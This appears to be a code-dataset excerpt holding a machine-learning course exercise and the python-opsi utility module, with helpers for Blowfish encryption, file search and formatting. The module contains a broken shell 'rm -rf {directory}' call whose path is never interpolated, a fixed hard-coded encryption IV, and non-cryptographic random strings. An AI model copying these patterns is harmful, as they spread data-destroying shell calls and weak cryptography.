"speakers.tasks.Runner", "line_number": 164, "usage_type": "name"}, {"api_name": "speakers.common.registry.registry.register_task", "line_number": 26, "usage_type": "call"}, {"api_name": "speakers.common.registry.registry", "line_number": 26, "usage_type": "name"}]} +{"seq_id": "74370039963", "text": "# exercise 6.2.1\n\n\nfrom pylab import *\nfrom scipy.io import loadmat\nimport sklearn.linear_model as lm\nfrom sklearn import cross_validation\nfrom toolbox_02450 import feature_selector_lr, bmplot\n\n# Load data from matlab file\nmat_data = loadmat('../Data/body.mat')\nX = np.matrix(mat_data['X'])\ny = np.matrix(mat_data['y'])\nattributeNames = [name[0] for name in mat_data['attributeNames'][0]]\nN, M = X.shape\n\n# Add offset attribute\nX = np.concatenate((np.ones((X.shape[0],1)),X),1)\nattributeNames = [u'Offset']+attributeNames\nM = M+1\n\n## Crossvalidation\n# Create crossvalidation partition for evaluation\nK = 15\nCV = cross_validation.KFold(N,K,shuffle=True)\n\n# Initialize variables\nFeatures = np.zeros((M,K))\nError_train = np.empty((K,1))\nError_test = np.empty((K,1))\nError_train_fs = np.empty((K,1))\nError_test_fs = np.empty((K,1))\nError_train_nofeatures = np.empty((K,1))\nError_test_nofeatures = np.empty((K,1))\n\nk=0\nfor train_index, test_index in CV:\n\n # extract training and test set for current CV fold\n X_train = X[train_index]\n y_train = y[train_index]\n X_test = X[test_index]\n y_test = y[test_index]\n internal_cross_validation = 10\n\n # Compute squared error without using the input data at all\n Error_train_nofeatures[k] = np.square(y_train-y_train.mean()).sum()/y_train.shape[0]\n Error_test_nofeatures[k] = np.square(y_test-y_test.mean()).sum()/y_test.shape[0]\n\n # Compute squared error with all features selected (no feature selection)\n m = lm.LinearRegression().fit(X_train, y_train)\n Error_train[k] = np.square(y_train-m.predict(X_train)).sum()/y_train.shape[0]\n Error_test[k] = np.square(y_test-m.predict(X_test)).sum()/y_test.shape[0]\n\n # Compute squared error with feature subset selection\n selected_features, features_record, loss_record = feature_selector_lr(X_train, y_train, internal_cross_validation)\n Features[selected_features,k]=1\n # .. alternatively you could use module sklearn.feature_selection\n m = lm.LinearRegression().fit(X_train[:,selected_features], y_train)\n Error_train_fs[k] = np.square(y_train-m.predict(X_train[:,selected_features])).sum()/y_train.shape[0]\n Error_test_fs[k] = np.square(y_test-m.predict(X_test[:,selected_features])).sum()/y_test.shape[0]\n\n figure(k)\n subplot(1,2,1)\n plot(range(1,len(loss_record)), loss_record[1:])\n xlabel('Iteration')\n ylabel('Squared error (crossvalidation)')\n\n subplot(1,3,3)\n bmplot(attributeNames, range(1,features_record.shape[1]), -features_record[:,1:])\n clim(-1.5,0)\n xlabel('Iteration')\n\n print('Cross validation fold {0}/{1}'.format(k+1,K))\n print('Train indices: {0}'.format(train_index))\n print('Test indices: {0}'.format(test_index))\n print('Features no: {0}\\n'.format(selected_features.size))\n\n k+=1\n\n\n# Display results\nprint('\\n')\nprint('Linear regression without feature selection:\\n')\nprint('- Training error: {0}'.format(Error_train.mean()))\nprint('- Test error: {0}'.format(Error_test.mean()))\nprint('- R^2 train: {0}'.format((Error_train_nofeatures.sum()-Error_train.sum())/Error_train_nofeatures.sum()))\nprint('- R^2 test: {0}'.format((Error_test_nofeatures.sum()-Error_test.sum())/Error_test_nofeatures.sum()))\nprint('Linear regression with feature selection:\\n')\nprint('- Training error: {0}'.format(Error_train_fs.mean()))\nprint('- Test error: {0}'.format(Error_test_fs.mean()))\nprint('- R^2 train: {0}'.format((Error_train_nofeatures.sum()-Error_train_fs.sum())/Error_train_nofeatures.sum()))\nprint('- R^2 test: {0}'.format((Error_test_nofeatures.sum()-Error_test_fs.sum())/Error_test_nofeatures.sum()))\n\nfigure(k)\nsubplot(1,3,2)\nbmplot(attributeNames, range(1,Features.shape[1]+1), -Features)\nclim(-1.5,0)\nxlabel('Crossvalidation fold')\nylabel('Attribute')\n\n\n# Inspect selected feature coefficients effect on the entire dataset and\n# plot the fitted model residual error as function of each attribute to\n# inspect for systematic structure in the residual\nf=2 # cross-validation fold to inspect\nff=Features[:,f-1].nonzero()[0]\nm = lm.LinearRegression().fit(X[:,ff], y)\n\ny_est= m.predict(X[:,ff])\nresidual=y-y_est\n\nfigure(k+1)\ntitle('Residual error vs. Attributes for features selected in cross-validation fold {0}'.format(f))\nfor i in range(0,len(ff)):\n subplot(2,ceil(len(ff)/2.0),i+1)\n plot(X[:,ff[i]].A,residual.A,'.')\n xlabel(attributeNames[ff[i]])\n ylabel('residual error')\n\n\nshow()\n", "repo_name": "dzitkowskik/Introduction-To-Machine-Learning-And-Data-Mining", "sub_path": "Python/Scripts/ex6_2_1.py", "file_name": "ex6_2_1.py", "file_ext": "py", "file_size_in_byte": 4416, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "86", "api": [{"api_name": "scipy.io.loadmat", "line_number": 11, "usage_type": "call"}, {"api_name": "sklearn.cross_validation.KFold", "line_number": 25, "usage_type": "call"}, {"api_name": "sklearn.cross_validation", "line_number": 25, "usage_type": "name"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 51, "usage_type": "call"}, {"api_name": "sklearn.linear_model", "line_number": 51, "usage_type": "name"}, {"api_name": "toolbox_02450.feature_selector_lr", "line_number": 56, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 59, "usage_type": "call"}, {"api_name": "sklearn.linear_model", "line_number": 59, "usage_type": "name"}, {"api_name": "toolbox_02450.bmplot", "line_number": 70, "usage_type": "call"}, {"api_name": "toolbox_02450.bmplot", "line_number": 97, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 108, "usage_type": "call"}, {"api_name": "sklearn.linear_model", "line_number": 108, "usage_type": "name"}]} +{"seq_id": "25422471439", "text": "import base64\nimport binascii\nimport codecs\nimport ipaddress\nimport json\nimport os\nimport random\nimport re\nimport shutil\nimport socket\nimport struct\nimport sys\nfrom collections import namedtuple\nfrom functools import lru_cache\nfrom hashlib import md5\nfrom itertools import islice\n\ntry:\n\t# PyCryptodome from pypi installs into Crypto\n\tfrom Crypto.Cipher import Blowfish\n\tfrom Crypto.PublicKey import RSA\n\tfrom Crypto.Util.number import bytes_to_long\nexcept (ImportError, OSError):\n\t# pyright: reportMissingImports=false\n\t# python3-pycryptodome installs into Cryptodome\n\tfrom Cryptodome.Cipher import Blowfish\n\tfrom Cryptodome.PublicKey import RSA\n\tfrom Cryptodome.Util.number import bytes_to_long\n\nfrom opsicommon.logging import get_logger\nfrom opsicommon.objects import deserialize as oc_deserialize\nfrom opsicommon.objects import from_json, serialize, to_json\nfrom opsicommon.types import (\n\t_PACKAGE_VERSION_REGEX,\n\t_PRODUCT_VERSION_REGEX,\n\tforceBool,\n\tforceFilename,\n\tforceFqdn,\n\tforceUnicode,\n)\nfrom opsicommon.utils import (\n\tmonkeypatch_subprocess_for_frozen, # pylint: disable=unused-import\n)\nfrom opsicommon.utils import Singleton, compare_versions\nfrom opsicommon.utils import generate_opsi_host_key as generateOpsiHostKey\nfrom opsicommon.utils import timestamp as oc_timestamp\n\n__all__ = (\n\t\"BLOWFISH_IV\",\n\t\"RANDOM_DEVICE\",\n\t\"UNIT_REGEX\",\n\t\"CryptoError\",\n\t\"BlowfishError\",\n\t\"PickleString\",\n\t\"blowfishDecrypt\",\n\t\"blowfishEncrypt\",\n\t\"chunk\",\n\t\"compareVersions\",\n\t\"deserialize\",\n\t\"findFiles\",\n\t\"findFilesGenerator\",\n\t\"formatFileSize\",\n\t\"fromJson\",\n\t\"generateOpsiHostKey\",\n\t\"getfqdn\",\n\t\"ipAddressInNetwork\",\n\t\"isRegularExpressionPattern\",\n\t\"md5sum\",\n\t\"objectToBash\",\n\t\"objectToBeautifiedText\",\n\t\"objectToHtml\",\n\t\"randomString\",\n\t\"removeDirectory\",\n\t\"removeUnit\",\n\t\"replaceSpecialHTMLCharacters\",\n\t\"serialize\",\n\t\"timestamp\",\n\t\"toJson\",\n\t\"getPublicKey\",\n\t\"Singleton\",\n)\n\nBLOWFISH_IV = b\"OPSI1234\"\nRANDOM_DEVICE = \"/dev/urandom\"\nUNIT_REGEX = re.compile(r\"^(\\d+\\.*\\d*)\\s*(\\w{0,4})$\")\n_ACCEPTED_CHARACTERS = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\"\n\nlogger = get_logger(\"opsi.general\")\nVersion = namedtuple(\"Version\", \"product package\")\n\n\nclass CryptoError(ValueError):\n\tpass\n\n\nclass BlowfishError(CryptoError):\n\tpass\n\n\nclass PickleString(str):\n\tdef __getstate__(self):\n\t\treturn base64.standard_b64encode(self)\n\n\tdef __setstate__(self, state):\n\t\tself = base64.standard_b64decode(state) # pylint: disable=self-cls-assignment\n\n\ndef formatFileSize(sizeInBytes, base: int = 2): # pylint: disable=too-many-return-statements\n\t\"\"\"\n\thttps://wiki.ubuntu.com/UnitsPolicy\n\n\tCorrect basis\n\n\tUse base-10 for:\n\t\t* network bandwidth (for example, 6 Mbit/s or 50 kB/s)\n\t\t* disk sizes (for example, 500 GB hard drive or 4.7 GB DVD)\n\n\tUse base-2 for:\n\t\t* RAM sizes (for example, 2 GiB RAM)\n\n\tFor file sizes there are two possibilities:\n\t\t* Show both, base-10 and base-2 (in this order). An example is the Linux kernel:\n\t\t\t\"2930277168 512-byte hardware sectors: (1.50 TB/1.36 TiB)\"\n\t\t* Only show base-10, or give the user the opportunity to decide between base-10 and base-2 (the default must be base-10).\n\t\"\"\"\n\tif base == 10:\n\t\tif sizeInBytes < 1_000:\n\t\t\treturn f\"{sizeInBytes:0.0f}B\"\n\t\tif sizeInBytes < 1_000_000:\n\t\t\treturn f\"{sizeInBytes / 1000:0.0f}kB\"\n\t\tif sizeInBytes < 1_000_000_000:\n\t\t\treturn f\"{sizeInBytes / 1_000_000:0.0f}MB\"\n\t\tif sizeInBytes < 1_000_000_000_000:\n\t\t\treturn f\"{sizeInBytes / 1_000_000_000:0.0f}GB\"\n\t\treturn f\"{sizeInBytes / 1_000_000_000_000:0.0f}TB\"\n\n\tif sizeInBytes < 1_024:\n\t\treturn f\"{sizeInBytes:0.0f}B\"\n\tif sizeInBytes < 1_048_576: # 1024**2\n\t\treturn f\"{sizeInBytes / 1024:0.0f}KiB\"\n\tif sizeInBytes < 107_374_1824: # 1024**3\n\t\treturn f\"{sizeInBytes / 1048576:0.0f}MiB\"\n\tif sizeInBytes < 1_099_511_627_776: # 1024**4\n\t\treturn f\"{sizeInBytes / 1_073_741_824:0.0f}GiB\"\n\treturn f\"{sizeInBytes / 1_099_511_627_776:0.0f}TiB\"\n\n\ndef md5sum(filename):\n\t\"\"\"Returns the md5sum of the given file.\"\"\"\n\tmd5object = md5()\n\n\twith open(filename, \"rb\") as fileToHash:\n\t\tfor data in iter(lambda: fileToHash.read(524288), b\"\"):\n\t\t\tmd5object.update(data)\n\n\treturn md5object.hexdigest()\n\n\ndef randomString(length, characters=_ACCEPTED_CHARACTERS):\n\t\"\"\"\n\tGenerates a random string for a given length.\n\n\t:param characters: The characters to choose from. This defaults to 0-9a-Z.\n\t\"\"\"\n\treturn \"\".join(random.choice(characters) for _ in range(length))\n\n\ndef timestamp(secs=0, dateOnly=False):\n\t\"\"\"Returns a timestamp of the current system time format: YYYY-mm-dd[ HH:MM:SS]\"\"\"\n\treturn oc_timestamp(secs=secs, date_only=dateOnly)\n\n\ndef fromJson(obj, objectType=None, preventObjectCreation=False):\n\treturn from_json(obj, object_type=objectType, prevent_object_creation=preventObjectCreation)\n\n\ndef toJson(obj):\n\treturn to_json(obj, deep=True)\n\n\ndef deserialize(obj, preventObjectCreation=False):\n\treturn oc_deserialize(obj, prevent_object_creation=preventObjectCreation)\n\n\ndef objectToBeautifiedText(obj):\n\treturn json.dumps(serialize(obj), indent=4)\n\n\ndef objectToBash(obj, bashVars=None, level=0): # pylint: disable=too-many-branches\n\t\"\"\"\n\tConverts `obj` into bash-compatible format.\n\n\t:type bashVars: dict\n\t:type level: int\n\t:rtype: dict\n\t\"\"\"\n\tif bashVars is None:\n\t\tbashVars = {}\n\n\tif level == 0:\n\t\tobj = serialize(obj)\n\t\tvarName = \"RESULT\"\n\t\tcompress = True\n\telse:\n\t\tvarName = f\"RESULT{level}\"\n\t\tcompress = False\n\n\ttry:\n\t\tobj = obj.serialize()\n\texcept AttributeError:\n\t\tpass\n\n\ttry:\n\t\tappend = bashVars[varName].append\n\texcept KeyError:\n\t\temptyList = []\n\t\tbashVars[varName] = emptyList\n\t\tappend = emptyList.append\n\n\tif isinstance(obj, (list, set)):\n\t\tappend(\"(\\n\")\n\t\tfor element in obj:\n\t\t\tif isinstance(element, (dict, list)):\n\t\t\t\tlevel += 1\n\t\t\t\tobjectToBash(element, bashVars, level)\n\t\t\t\tappend(f\"RESULT{level}=${{RESULT{level}[*]}}\")\n\t\t\telse:\n\t\t\t\tobjectToBash(element, bashVars, level)\n\t\t\tappend(\"\\n\")\n\t\tappend(\")\")\n\telif isinstance(obj, dict):\n\t\tappend(\"(\\n\")\n\t\tfor (key, value) in obj.items():\n\t\t\tappend(f\"{key}=\")\n\t\t\tif isinstance(value, (dict, list)):\n\t\t\t\tlevel += 1\n\t\t\t\tobjectToBash(value, bashVars, level)\n\t\t\t\tappend(f\"${{RESULT{level}[*]}}\")\n\t\t\telse:\n\t\t\t\tobjectToBash(value, bashVars, level)\n\t\t\tappend(\"\\n\")\n\t\tappend(\")\")\n\telif obj is None:\n\t\tappend('\"\"')\n\telse:\n\t\tappend(f'\"{obj}\"')\n\n\tif compress:\n\t\tfor key, value in bashVars.items():\n\t\t\tbashVars[key] = \"\".join(value)\n\n\treturn bashVars\n\n\ndef objectToHtml(obj, level=0): # pylint: disable=too-many-branches\n\tif level == 0:\n\t\tobj = serialize(obj)\n\n\thtml = []\n\tappend = html.append\n\n\tif isinstance(obj, (list, set)):\n\t\tappend(\"[\")\n\t\tif len(obj) > 0:\n\t\t\tappend('
    ')\n\t\t\tfor i, currentElement in enumerate(obj):\n\t\t\t\tappend(objectToHtml(currentElement, level + 1))\n\t\t\t\tif i < len(obj) - 1:\n\t\t\t\t\tappend(\",
    \\n\")\n\t\t\tappend(\"
    \")\n\t\tappend(\"]\")\n\telif isinstance(obj, dict):\n\t\tappend(\"{\")\n\t\tif len(obj) > 0:\n\t\t\tappend('
    ')\n\t\t\tfor i, (key, value) in enumerate(obj.items()):\n\t\t\t\tappend('')\n\t\t\t\tappend(objectToHtml(key))\n\t\t\t\tappend(\": \")\n\t\t\t\tappend(objectToHtml(value, level + 1))\n\t\t\t\tif i < len(obj) - 1:\n\t\t\t\t\tappend(\",
    \\n\")\n\t\t\tappend(\"
    \")\n\t\tappend(\"}\")\n\telif isinstance(obj, bool):\n\t\tappend(str(obj).lower())\n\telif obj is None:\n\t\tappend(\"null\")\n\telse:\n\t\tif isinstance(obj, str):\n\t\t\tappend(replaceSpecialHTMLCharacters(obj).join(('\"', '\"')))\n\t\telse:\n\t\t\tappend(replaceSpecialHTMLCharacters(obj))\n\n\treturn \"\".join(html)\n\n\ndef replaceSpecialHTMLCharacters(text):\n\treturn (\n\t\tstr(text)\n\t\t.replace(\"\\r\", \"\")\n\t\t.replace(\"\\t\", \" \")\n\t\t.replace(\"&\", \"&\")\n\t\t.replace('\"', \""\")\n\t\t.replace(\"'\", \"'\")\n\t\t.replace(\" \", \" \")\n\t\t.replace(\"<\", \"<\")\n\t\t.replace(\">\", \">\")\n\t\t.replace(\"\\n\", \"
    \\n\")\n\t)\n\n\ncompareVersions = compare_versions\n\n\ndef removeUnit(value: str) -> int: # pylint: disable=invalid-name,too-many-return-statements\n\t\"\"\"\n\tTake a string representing a byte-based size and return the\n\tvalue in bytes.\n\n\t:param value: str\n\t:returns: `value` in bytes.\n\t:rtype: int or float\n\t\"\"\"\n\tvalue = str(value)\n\tmatch = UNIT_REGEX.search(value)\n\tif not match:\n\t\treturn value\n\n\tif \".\" in match.group(1):\n\t\tvalue = float(match.group(1))\n\telse:\n\t\tvalue = int(match.group(1))\n\n\tunit = match.group(2)\n\tmult = 1000\n\n\tif unit.lower().endswith(\"hz\"):\n\t\tunit = unit[:-2]\n\telif unit.lower().endswith(\"bits\"):\n\t\tmult = 1024\n\t\tunit = unit[:-4]\n\telif unit.lower().endswith(\"b\"):\n\t\tmult = 1024\n\t\tunit = unit[:-1]\n\telif unit.lower().endswith((\"s\", \"v\")):\n\t\tunit = unit[:-1]\n\n\tif unit.endswith(\"n\"):\n\t\treturn float(value) / (mult * mult)\n\tif unit.endswith(\"m\"):\n\t\treturn float(value) / mult\n\tif unit.lower().endswith(\"k\"):\n\t\treturn value * mult\n\tif unit.endswith(\"M\"):\n\t\treturn value * mult * mult\n\tif unit.endswith(\"G\"):\n\t\treturn value * mult * mult * mult\n\n\treturn value\n\n\ndef blowfishEncrypt(key, cleartext):\n\t\"\"\"\n\tTakes `cleartext` string, returns hex-encoded,\n\tblowfish-encrypted string.\n\n\t:type key: str\n\t:type cleartext: str\n\t:raises BlowfishError: In case things go wrong.\n\t:rtype: str\n\t\"\"\"\n\tif not key:\n\t\traise BlowfishError(\"Missing key\")\n\n\tkey = _prepareBlowfishKey(key)\n\tcleartext = forceUnicode(cleartext)\n\tcleartext = cleartext.encode(\"utf-8\")\n\twhile len(cleartext) % 8 != 0:\n\t\t# Fill up with \\0 until length is a mutiple of 8\n\t\tcleartext += b\"\\x00\"\n\n\tblowfish = Blowfish.new(key, Blowfish.MODE_CBC, BLOWFISH_IV)\n\ttry:\n\t\tcrypt = blowfish.encrypt(cleartext)\n\texcept Exception as err:\n\t\tlogger.debug(err, exc_info=True)\n\t\traise BlowfishError(\"Failed to encrypt\") from err\n\n\treturn crypt.hex()\n\n\ndef blowfishDecrypt(key, crypt):\n\t\"\"\"\n\tTakes hex-encoded, blowfish-encrypted string,\n\treturns cleartext string.\n\n\t:type key: str\n\t:param crypt: The encrypted text as hex.\n\t:type crypt: str\n\t:raises BlowfishError: In case things go wrong.\n\t:rtype: str\n\t\"\"\"\n\tif not key:\n\t\traise BlowfishError(\"Missing key\")\n\n\tkey = _prepareBlowfishKey(key)\n\tcrypt = bytes.fromhex(crypt)\n\n\tblowfish = Blowfish.new(key, Blowfish.MODE_CBC, BLOWFISH_IV)\n\ttry:\n\t\tcleartext = blowfish.decrypt(crypt)\n\texcept Exception as err:\n\t\tlogger.debug(err, exc_info=True)\n\t\traise BlowfishError(\"Failed to decrypt\") from err\n\n\t# Remove possible \\0-chars\n\tcleartext = cleartext.rstrip(b\"\\0\")\n\n\ttry:\n\t\treturn cleartext.decode(\"utf-8\")\n\texcept Exception as err:\n\t\tlogger.error(err)\n\t\traise BlowfishError(\"Failed to convert decrypted text to unicode.\") from err\n\n\ndef _prepareBlowfishKey(key: str) -> bytes:\n\t\"Transform the key into hex.\"\n\ttry:\n\t\tkey = forceUnicode(key).encode()\n\t\treturn codecs.decode(key, \"hex\")\n\texcept (binascii.Error, Exception) as err:\n\t\traise BlowfishError(f\"Unable to prepare key: {err}\") from err\n\n\ndef findFilesGenerator( # pylint: disable=too-many-branches,too-many-locals,too-many-arguments,too-many-statements\n\tdirectory,\n\tprefix=\"\",\n\texcludeDir=None,\n\texcludeFile=None,\n\tincludeDir=None,\n\tincludeFile=None,\n\treturnDirs=True,\n\treturnLinks=True,\n\tfollowLinks=False,\n\trepository=None,\n):\n\tdirectory = forceFilename(directory)\n\tprefix = forceUnicode(prefix)\n\n\tif excludeDir:\n\t\tif not isRegularExpressionPattern(excludeDir):\n\t\t\texcludeDir = re.compile(forceUnicode(excludeDir))\n\telse:\n\t\texcludeDir = None\n\n\tif excludeFile:\n\t\tif not isRegularExpressionPattern(excludeFile):\n\t\t\texcludeFile = re.compile(forceUnicode(excludeFile))\n\telse:\n\t\texcludeFile = None\n\n\tif includeDir:\n\t\tif not isRegularExpressionPattern(includeDir):\n\t\t\tincludeDir = re.compile(forceUnicode(includeDir))\n\telse:\n\t\tincludeDir = None\n\n\tif includeFile:\n\t\tif not isRegularExpressionPattern(includeFile):\n\t\t\tincludeFile = re.compile(forceUnicode(includeFile))\n\telse:\n\t\tincludeFile = None\n\n\treturnDirs = forceBool(returnDirs)\n\treturnLinks = forceBool(returnLinks)\n\tfollowLinks = forceBool(followLinks)\n\n\tif repository:\n\t\tislink = repository.islink\n\t\tisdir = repository.isdir\n\t\tlistdir = repository.listdir\n\telse:\n\t\tislink = os.path.islink\n\t\tisdir = os.path.isdir\n\t\tlistdir = os.listdir\n\n\tfor entry in listdir(directory):\n\t\tpp = os.path.join(prefix, entry)\n\t\tdp = os.path.join(directory, entry)\n\t\tisLink = False\n\t\tif islink(dp):\n\t\t\tisLink = True\n\t\t\tif not returnLinks and not followLinks:\n\t\t\t\tcontinue\n\t\tif isdir(dp) and (not isLink or followLinks):\n\t\t\tif excludeDir and re.search(excludeDir, entry):\n\t\t\t\tlogger.debug(\"Excluding dir '%s' and containing files\", entry)\n\t\t\t\tcontinue\n\t\t\tif includeDir:\n\t\t\t\tif not re.search(includeDir, entry):\n\t\t\t\t\tcontinue\n\t\t\t\tlogger.debug(\"Including dir '%s' and containing files\", entry)\n\t\t\tif returnDirs:\n\t\t\t\tyield pp\n\t\t\tyield from findFilesGenerator(\n\t\t\t\tdirectory=dp,\n\t\t\t\tprefix=pp,\n\t\t\t\texcludeDir=excludeDir,\n\t\t\t\texcludeFile=excludeFile,\n\t\t\t\tincludeDir=includeDir,\n\t\t\t\tincludeFile=includeFile,\n\t\t\t\treturnDirs=returnDirs,\n\t\t\t\treturnLinks=returnLinks,\n\t\t\t\tfollowLinks=followLinks,\n\t\t\t\trepository=repository,\n\t\t\t)\n\t\t\tcontinue\n\n\t\tif excludeFile and re.search(excludeFile, entry):\n\t\t\tif isLink:\n\t\t\t\tlogger.debug(\"Excluding link '%s'\", entry)\n\t\t\telse:\n\t\t\t\tlogger.debug(\"Excluding file '%s'\", entry)\n\t\t\tcontinue\n\n\t\tif includeFile:\n\t\t\tif not re.search(includeFile, entry):\n\t\t\t\tcontinue\n\t\t\tif isLink:\n\t\t\t\tlogger.debug(\"Including link '%s'\", entry)\n\t\t\telse:\n\t\t\t\tlogger.debug(\"Including file '%s'\", entry)\n\t\tyield pp\n\n\ndef findFiles( # pylint: disable=too-many-arguments\n\tdirectory,\n\tprefix=\"\",\n\texcludeDir=None,\n\texcludeFile=None,\n\tincludeDir=None,\n\tincludeFile=None,\n\treturnDirs=True,\n\treturnLinks=True,\n\tfollowLinks=False,\n\trepository=None,\n):\n\treturn list(\n\t\tfindFilesGenerator(\n\t\t\tdirectory, prefix, excludeDir, excludeFile, includeDir, includeFile, returnDirs, returnLinks, followLinks, repository\n\t\t)\n\t)\n\n\nif sys.version_info >= (3, 7):\n\n\tdef isRegularExpressionPattern(object): # pylint: disable=redefined-builtin\n\t\treturn isinstance(object, re.Pattern)\n\nelse:\n\n\tdef isRegularExpressionPattern(object): # pylint: disable=redefined-builtin\n\t\treturn \"SRE_Pattern\" in str(type(object))\n\n\ndef ipAddressInNetwork(ipAddress, networkAddress):\n\t\"\"\"\n\tChecks if the given IP address is in the given network range.\n\tReturns ``True`` if the given address is part of the network.\n\tReturns ``False`` if the given address is not part of the network.\n\n\t:param ipAddress: The IP which we check.\n\t:type ipAddress: str\n\t:param networkAddress: The network address written with slash notation.\n\t:type networkAddress: str\n\t\"\"\"\n\tif not isinstance(ipAddress, (ipaddress.IPv4Address, ipaddress.IPv6Address)):\n\t\tipAddress = ipaddress.ip_address(ipAddress)\n\tif isinstance(ipAddress, ipaddress.IPv6Address) and ipAddress.ipv4_mapped:\n\t\tipAddress = ipAddress.ipv4_mapped\n\n\tif not isinstance(networkAddress, (ipaddress.IPv4Network, ipaddress.IPv6Network)):\n\t\tnetworkAddress = ipaddress.ip_network(networkAddress)\n\n\treturn ipAddress in networkAddress\n\n\ndef getfqdn(name=\"\", conf=None):\n\t\"\"\"\n\tGet the fqdn.\n\n\tIf ``name`` is not given it will try various ways to get a valid\n\tfqdn from the current host.\n\tIf ``conf`` but no name is given it will try to read the FQDN from\n\tthe specified configuration file.\n\t\"\"\"\n\tif name:\n\t\treturn forceFqdn(socket.getfqdn(name))\n\n\thost_id = os.environ.get(\"OPSI_HOST_ID\") or os.environ.get(\"OPSI_HOSTNAME\")\n\tif host_id:\n\t\ttry:\n\t\t\treturn forceFqdn(host_id)\n\t\texcept ValueError:\n\t\t\t# Not a fqdn\n\t\t\tpass\n\n\t# lazy import to avoid circular dependency\n\tfrom OPSI.Util.Config import getGlobalConfig # pylint: disable=import-outside-toplevel\n\n\tif conf is not None:\n\t\thost_id = getGlobalConfig(\"hostname\", conf)\n\telse:\n\t\thost_id = getGlobalConfig(\"hostname\")\n\n\tif host_id:\n\t\treturn forceFqdn(host_id)\n\n\treturn forceFqdn(socket.getfqdn())\n\n\ndef removeDirectory(directory):\n\t\"\"\"\n\tRemoving an directory.\n\n\tIf this fails with shutil it will try to use system calls.\n\n\t.. versionadded:: 4.0.5.1\n\n\n\t:param directory: Path to the directory\n\t:tye directory: str\n\t\"\"\"\n\tlogger.debug(\"Removing directory: %s\", directory)\n\ttry:\n\t\tshutil.rmtree(directory)\n\texcept UnicodeDecodeError:\n\t\t# See http://bugs.python.org/issue3616\n\t\tlogger.info(\"Client data directory seems to contain filenames with unicode characters. Trying fallback.\")\n\n\t\t# late import to avoid circular dependency\n\t\timport OPSI.System # pylint: disable=import-outside-toplevel\n\n\t\tOPSI.System.execute(\"rm -rf {directory}\")\n\n\ndef chunk(iterable, size):\n\t\"\"\"\n\tReturns chunks (parts) of a specified `size` from `iterable`.\n\tIt will not pad (fill) the chunks.\n\n\tThis works lazy and therefore can be used with any iterable without\n\tmuch overhead.\n\n\tOriginal recipe from http://stackoverflow.com/a/22045226\n\t\"\"\"\n\tit = iter(iterable)\n\treturn iter(lambda: tuple(islice(it, size)), ())\n\n\n@lru_cache(maxsize=4)\ndef getPublicKey(data):\n\t# Key type can be found in 4:11.\n\trest = data[11:]\n\tcount = 0\n\tmp = []\n\tfor _ in range(2):\n\t\tlength = struct.unpack(\">L\", rest[count : count + 4])[0]\n\t\tmp.append(bytes_to_long(rest[count + 4 : count + 4 + length]))\n\t\tcount += 4 + length\n\n\treturn RSA.construct((mp[1], mp[0]))\n", "repo_name": "opsi-org/python-opsi", "sub_path": "OPSI/Util/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 16718, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 15, "dataset": "github-code", "pt": "86", "api": [{"api_name": "re.compile", "line_number": 85, "usage_type": "call"}, {"api_name": "opsicommon.logging.get_logger", "line_number": 88, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 89, "usage_type": "call"}, {"api_name": "base64.standard_b64encode", "line_number": 102, "usage_type": "call"}, {"api_name": "base64.standard_b64decode", "line_number": 105, "usage_type": "call"}, {"api_name": "hashlib.md5", "line_number": 150, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 165, "usage_type": "call"}, {"api_name": "opsicommon.utils.timestamp", "line_number": 170, "usage_type": "call"}, {"api_name": "opsicommon.objects.from_json", "line_number": 174, "usage_type": "call"}, {"api_name": "opsicommon.objects.to_json", "line_number": 178, "usage_type": "call"}, {"api_name": "opsicommon.objects.deserialize", "line_number": 182, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 186, "usage_type": "call"}, {"api_name": "opsicommon.objects.serialize", "line_number": 186, "usage_type": "call"}, {"api_name": "opsicommon.objects.serialize", "line_number": 201, "usage_type": "call"}, {"api_name": "opsicommon.objects.serialize", "line_number": 257, "usage_type": "call"}, {"api_name": "opsicommon.utils.compare_versions", "line_number": 313, "usage_type": "name"}, {"api_name": "opsicommon.types.forceUnicode", "line_number": 377, "usage_type": "call"}, {"api_name": "Cryptodome.Cipher.Blowfish.new", "line_number": 383, "usage_type": "call"}, {"api_name": "Cryptodome.Cipher.Blowfish", "line_number": 383, "usage_type": "name"}, {"api_name": "Cryptodome.Cipher.Blowfish.MODE_CBC", "line_number": 383, "usage_type": "attribute"}, {"api_name": "Cryptodome.Cipher.Blowfish.new", "line_number": 410, "usage_type": "call"}, {"api_name": "Cryptodome.Cipher.Blowfish", "line_number": 410, "usage_type": "name"}, {"api_name": "Cryptodome.Cipher.Blowfish.MODE_CBC", "line_number": 410, "usage_type": "attribute"}, {"api_name": "opsicommon.types.forceUnicode", "line_number": 430, "usage_type": "call"}, {"api_name": "codecs.decode", "line_number": 431, "usage_type": "call"}, {"api_name": "binascii.Error", "line_number": 432, "usage_type": "attribute"}, {"api_name": "opsicommon.types.forceFilename", "line_number": 448, "usage_type": "call"}, {"api_name": "opsicommon.types.forceUnicode", "line_number": 449, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 453, "usage_type": "call"}, {"api_name": "opsicommon.types.forceUnicode", "line_number": 453, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 459, "usage_type": "call"}, {"api_name": "opsicommon.types.forceUnicode", "line_number": 459, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 465, "usage_type": "call"}, {"api_name": "opsicommon.types.forceUnicode", "line_number": 465, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 471, "usage_type": "call"}, {"api_name": "opsicommon.types.forceUnicode", "line_number": 471, "usage_type": "call"}, {"api_name": "opsicommon.types.forceBool", "line_number": 475, "usage_type": "call"}, {"api_name": "opsicommon.types.forceBool", "line_number": 476, "usage_type": "call"}, {"api_name": "opsicommon.types.forceBool", "line_number": 477, "usage_type": "call"}, {"api_name": "os.path", "line_number": 484, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 485, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 486, 